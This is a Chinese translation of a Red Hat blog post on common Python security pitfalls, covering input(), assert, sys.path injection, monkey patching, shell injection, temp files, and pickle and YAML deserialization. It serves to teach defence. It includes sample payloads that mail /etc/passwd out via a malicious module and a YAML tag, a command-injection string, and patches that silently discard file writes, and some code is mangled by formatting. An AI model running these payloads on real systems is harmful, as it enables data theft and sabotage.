原文地址:https://access.redhat.com/blogs/766093/posts/2592591
作为一门简单易学,且能快速进阶,以用来开发较为庞大和复杂的应用程序的编程语言,Python在计算环境中正在被广泛应用。但是,它分外简洁和友好的语言风格也可能让软件工程师和系统管理者们放松警惕——一不小心就会出现代码错误,而这些错误可能会引起严重的安全后果。这篇文章主要向Python初学者介绍一些常见的安全 “坑”;有经验的开发者估计很熟悉这些问题。
在众多Python 2 的内置函数中,input函数简直就是灾难。有这样一种说法:任何从标准输入流读取的内容都被当即视作Python代码:
$ python2
input()
dir()
[‘builtins‘, ‘doc‘, ‘name‘, ‘package‘]
input()
import(‘sys’).exit()
$
显然,在确保某脚本标准输入流中的数据完全可靠之前绝对不要使用input函数。Python 2版本建议使用raw_input作为替代选项。在Python 3版本中,input函数的功能完全等于raw_input,这就一劳永逸地解决了这个漏洞。
编程人员习惯用assert语句来找到python应用程序里某个不合理的条件。
def verify_credentials(username, password):
assert username and password, ‘Credentials not supplied by caller’
... authenticate possibly null user with null password …
但是,Python并未就在将源代码编译为优化的字节码过程中如何使用assert语句给出说明(比如,python -O)。这就导致对程序员们误写入的畸形数据没有防护措施,从而使应用程序易受到攻击。
其根本原因在于assert机制是被设计用来测试的,正如在C++中。程序员们必须使用别的方法来保证数据一致性。
Python里的每一样东西都是对象。每一个对象都有独特的标识可被id函数读取。在Python里,is操作符被用来判断两个变量或属性是否指向同一个对象。整数也是对象,所以也可以用is操作定义。
>>> 999+1 is 1000
False
如果上边的操作结果令你感到吃惊的话,请记住:is操作符比较的是两个对象标识——而非它们的数值,或值。但是:
1+1 is 2
True
对这一现象的解释是,Python有一个对象池存放了前几百个整数以重复使用,这样可以节省内存,也省去一些创造对象的工作。不过,不同的版本对“小的整数”的定义不一样,因此存放的整数也不一样,这就让人更迷惑了!
在此建议永远不要使用is操作符来比较值。is操作符本来就是专门设计用来处理对象标识的。
由于十进制与二进制分数表示法的固有区别所带来的不精确和差异,导致了在Python中处理浮点数(小数)很麻烦。经常会引起混乱的一个原因就是:浮点数的比较有时会出现出乎意料的结果,下边就是一个很著名的例子:
2.2 * 3.0 == 3.3 * 2.0
False
这一现象的原因实际上是一个取整误差:
(2.2 * 3.0).hex()
‘0x1.a666666666667p+2’
(3.3 * 2.0).hex()
‘0x1.a666666666666p+2’
另一个有意思的现象是,python浮点数输入支持无穷大的概念。可以推理,任何数都比无穷大小:
10**1000000 > float(‘infinity’)
False
不过,在Python 3 版本中,有一个对象打败了无穷大:
float > float(‘infinity’)
True
在此建议,尽可能地使用整数运算。再不然,使用十进制标准库模块来避开繁琐的细节和危险的缺陷。
总之,当算术运算结果将被用作重要判断的依据时,注意不要掉入取整误差的陷阱。在Python文档 发布与限制 一章中可查看更多信息。
Python不支持隐藏对象属性。但是有一个基于双下划线属性名称改编的变通方法。尽管属性名称改编对代码有效,被硬编码予字符串常数的属性名称并未改变。因此,当一个双下划线属性对getattr()/hasattr()函数隐藏时就会引起困惑。
class X(object):
… def init(self):
… self.__private = 1
… def get_private(self):
… return self.__private
… def has_private(self):
… return hasattr(self, ‘__private’)
…
x = X()x.has_private()
False
x.get_private()
1
为了使这个私有属性生效,属性改编必须被包含在类定义里执行。这就实际上根据被引用的位置将双下划线属性“拆”成两半。
如果一个程序员在他的代码中主要基于双下划线属性作出重要判断,却没注意到关于私有属性的非对称行为,就可能会带来安全隐患。
Python的模块导入体系很强大,同时也很复杂。任何模块和包都可以通过其文件名或目录名在被sys.path 列表所定义的搜索路径中找到。搜索路径初始化是一个复杂的过程,而且也会因为Python版本、平台和本地配置的不同而有所差异。因此,攻击者只要能找到一个方法在Python导入模块时将恶意的模快夹进Python可能会导入的目录或者包文件,就能成功地制造一次对Python应用的攻击。
在此建议要保持搜索路径中所有目录和包文件的访问权限安全,以避免未授权的用户拥有写访问权限。要记住调用Python解释器的最初脚本所在的目录是自动插进搜索路径的。
运行下面这样的脚本会揭示真实的搜索路径:
$ cat myapp.py
#!/usr/bin/python
import sys
import pprint
pprint.pprint(sys.path)
在Windows平台上,被自动注入搜索路径的是Python进程中的当前工作目录,而非脚本地址。而在UNIX平台上,只要从标准输入流或者命令行读取程序代码,当前工作目录被自动注入sys.path(”-” 或 “-c” 或 “-m” 选项):
echo“importsys,pprint;pprint.pprint(sys.path)”|python−[”,‘/usr/lib/python3.3/site−packages/pip−7.1.2−py3.3.egg′,‘/usr/lib/python3.3/site−packages/setuptools−20.1.1−py3.3.egg′,…] python -c ‘import sys, pprint; pprint.pprint(sys.path)’
[”,
‘/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg’,
‘/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg’,
…]
cd /tmp
$ python -m myapp
[”,
‘/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg’,
‘/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg’,
…]
为了减少从当前工作目录注入模板可能带来的风险,在Windows平台上运行Python或通过命令行传递代码前要先明确地更换到一个安全的目录。
另外一个可能的搜索路径来源是PYTHONPATH环境变量的内容。有一个简单的办法可以对付这种来自进程环境的sys.path污染——对Python解释器执行−E选项,这一选项可以让它自动忽略PYTHONPATH变量。
也许看起来并不明显,但事实上正是import语句引发了对导入模块的代码执行。这就是为什么导入不受信任的模块或包很危险。导入如下简单的模块可能导致不良后果:
$ cat malicious.py
import os
import sys
os.system(‘cat /etc/passwd | mail [email protected]’)
del sys.modules[‘malicious’] # pretend it’s not imported
$ python
import malicious
dir(malicious)
Traceback (most recent call last):
NameError: name ‘malicious’ is not defined
这一点若与sys.path注入攻击结合,就可能会为进一步的系统攻击铺平道路。
在运行中更改Python对象的属性被称为猴子补丁。作为一门动态语言,python完全支持运行中的程序自省和代码变更。一旦一个恶意模块以某种方式被导入,任何存在的可变对象都可能会在不知不觉中被猴子补丁更改。设想一下:
$ cat nowrite.py
import builtins
def malicious_open(*args, **kwargs):
if len(args) > 1 and args[1] == ‘w’:
args = (‘/dev/null’,) + args[1:]
return original_open(*args, **kwargs)
original_open, builtins.open = builtins.open, malicious_open
如果上边的代码被Python解释器执行,所有对文件的写入都不会被存储在文件系统里:
import nowrite
open(‘data.txt’, ‘w’).write(‘data to store’)
5
open(‘data.txt’, ‘r’)
Traceback (most recent call last):
…
FileNotFoundError: [Errno 2] No such file or directory: ‘data.txt’
攻击者可能会利用Python垃圾收集器(gc.get_objects())来得到所有存在的对象并对其发起攻击。
在Python 2 版本中,内置对象可以通过神奇的builtins 模块来访问。已知的一个可能会导致灾难性后果的手段是利用builtins 的可变性:
builtins.False, builtins.True = True, False
True
False
int(True)
0
不过在Python 3 中,对True和False的赋值无效,攻击者就没法这样做了。
函数是Python中的第一类对象,它们可被一个函数的许多属性所引用。特别是,可执行的字节码被code 属性所引用,而这种属性是可以更改的。
import shutil
shutil.copy
shutil.copy.code = (lambda src, dst: dst).codeshutil.copy(‘my_file.txt’, ‘/tmp’)
‘/tmp’
shutil.copy
一旦上边的猴子补丁被应用,尽管shutil.copy函数看起来仍然正常,但其实它已经在空操作指令函数的作用下停止工作了。
Python对象的类型由class 属性决定。恶意攻击者可能会通过改变活动对象的类型来搞破坏:
class X(object): pass
…
class Y(object): pass
…
x_obj = X()
x_obj
<main.X object at 0x7f62dbe5e010>
isinstance(x_obj, X)
True
x_obj.class = Y
x_obj
<main.Y object at 0x7f62dbe5d350>
isinstance(x_obj, X)
False
isinstance(x_obj, Y)
True
对付恶意猴子补丁的唯一方法就是确保导入模块的可靠性和完整性。
作为一种胶水语言,Python脚本经常会作为系统管理任务的代表请求操作系统执行其它的程序,有时还会提供额外的参数。使用子进程模块可以让这一任务变得更轻松、高质。
from subprocess import call
unvalidated_input = ‘/bin/true’
call(unvalidated_input)
0
但有一个问题:为了使用UNIX shell服务,如命令行参数扩展,call函数的shell关键词参数应该被调整为True。然后call函数的第一个参数被按原样传入到shell系统以备进一步的解析和解释。一旦一个非法的用户输入触及到了call函数(或者其它在子进程里执行的函数),就打开了一个通往基础系统资源的通道。
from subprocess import call
unvalidated_input = ‘/bin/true’
unvalidated_input += ‘; cut -d: -f1 /etc/passwd’
call(unvalidated_input, shell=True)
root
bin
daemon
adm
lp
0
比较安全的做法是不要为了外部命令执行而调用UNIX shell,应保持shell关键词默认为False,然后向子进程提供一个向量命令和参数,这样一来,无论是命令还是参数都不会被shell解释和扩展。
from subprocess import call
call([‘/bin/ls’, ‘/tmp’])
应用程序调用UNIX shell服务很正常,重要的是一定要净化所有进入子进程的数据,以避免一些shell 函数被恶意用户所利用。在新的Python版本中,可以通过标准库的shlex.quote函数来避开调用shell。
临时文件的不正当使用所会带来的漏洞对很多编程语言都是一大威胁,但Python脚本中临时文件竟然还在被大量使用,这很值得讨论一下。
这种漏洞利用了不安全的文件系统访问许可,也许会调用一些中间步骤,但最终会引起数据保密和完整问题。关于这一问题的详细描述请参见CWE-377.
幸运的是,Python标注库含有一个tempfile模块可以提供比较高级的以最安全的方式创建临时文件名的函数。注意,因为向后兼容性原因依然存留在标准库中的tempfile.mktemp函数是有缺陷的,永远不要用!如果你想在临时文件关闭后仍然使用它,推荐使用tempfile.TemporaryFile, 或者tempfile.mkstemp函数。
另一个可能会招致危险的是shutil.copyfile函数的使用。主要是因为目标文件被以最不安全的方式创建。
安全意识高的开发者可能会考虑先将源文件复制到一个随机命名的文件,然后再重新命名。这看上去还不错,但事实上在使用shutil.move函数重新命名时存在安全隐患。问题是,临时文件一般被创建和保存在文件系统中而非开放者最终要将其放置的位置。shutil.move并不能自动将其移动(通过os.rename),而是悄悄地使用不安全的shutil.copy. 在此建议使用os.rename 而非 shutil.move,因为os.name至少可以明确地保证不能用来执行跨文件系统操作。
更麻烦的是,shutil.copy在复制文件所有元数据时的无能会让被创建的文件处于不受保护的状态。
并不只是P## 标题 ##ython,在所有非主流类型的文件系统中修改文件,特别是远程文件时都要谨慎。数据一致性的承诺因文件访问序列化的位置不同而有所差异。比如,NFSv2就不支持带有O_EXCL标记的open函数的系统调用,而这个函数对自动创建文件很重要。
有许多数据序列化的工具,比如Pickle就是专门用来序列化/反序列化Python对象。它将活动的python对象放入一个八位字节流存储或传递,然后或许再重建为一个新的Python实例。如果序列化的数据被篡改了,这个重建的步骤必然会有风险。Python文档中清晰地指出了Pickle的不安全之处。
作为流行的配置文件格式,YAML未必就是最强大的序列化协议,它的反序列化器可被利用来执行任意代码。更危险的是,Python默认YAML实现——PyYAML会让反序列化看起来很正常,
import yaml
dangerous_input = “””
… some_option: !!python/object/apply:subprocess.call
… args: [cat /etc/passwd | mail [email protected]]
… kwds: {shell: true}
… “””
yaml.load(dangerous_input)
{‘some_option’: 0}
但事实上/etc/passwd已被偷走。一个补救措施就是使用yaml.safe_load处理不信任的YAML序列化。考虑到其他序列化库使用更安全的dump/load函数实现这一功能,现存的PyYAML默认设置就让人更加难以忍受。
Web应用的作者们很久以前就开始使用Python。在十年的发展历程中,开发出了很多Web框架。其中很多都使用模块引擎从模块和运行时的变量来生成网页内容。除了网页应用外,模块引擎还被应用到了完全不同的软件中去,比如Ansible IT自动化工具。
当内容被静态模板和运行时的变量渲染时,会存在一种风险,即用户控制的代码可以通过运行时的变量加入内容中。一次对网页应用程序的成功攻击将会导致跨站脚本漏洞。通常的防护措施是,针对服务端的模块注入,要先净化所有的模块变量内容,再将其插入最终文档。可以通过对给定标记或其他特定领域的语言的某些特殊字符采取拒绝进入和筛除操作来实现净化。
不幸的是, 模块引擎在此并不提供严格的安全措施——在其众多流行的实现中,默认是没有筛除机制的,这全靠开发者自己的风险意识。
比如,一个非常流行的工具,Jinja2, 基本上渲染一切,
from jinja2 import Environment
template = Environment().from_string(”)
template.render(variable=’‘)
‘’
除非采取某种筛除机制明确地改编了默认设置:
from jinja2 import Environment
template = Environment(autoescape=True).from_string(”)
template.render(variable=’‘)
‘’
另外一个麻烦是,在许多使用案例中,程序员并不想净化所有的模块变量,而是有意地让一部分保持原样,而这其中可能含有危险内容。为了解决这个问题,许多模块引擎提供了“过滤器”方便程序员净化个体变量的内容。Jinja2也在每一个模块提供了默认筛选切换功能。
更麻烦的是一些开发者只选择筛除标记语言标签中的一部分,而这之外的就可以不受阻拦地进入最终的文档。
这篇博文并非旨在提供一个全面的囊括所有Python生态系统可能存在的陷阱和缺陷的列表,而是希望能引起Python使用者对可能会有的安全风险的警觉,同时,也希望大家的编程过程更愉快,宇宙更和谐。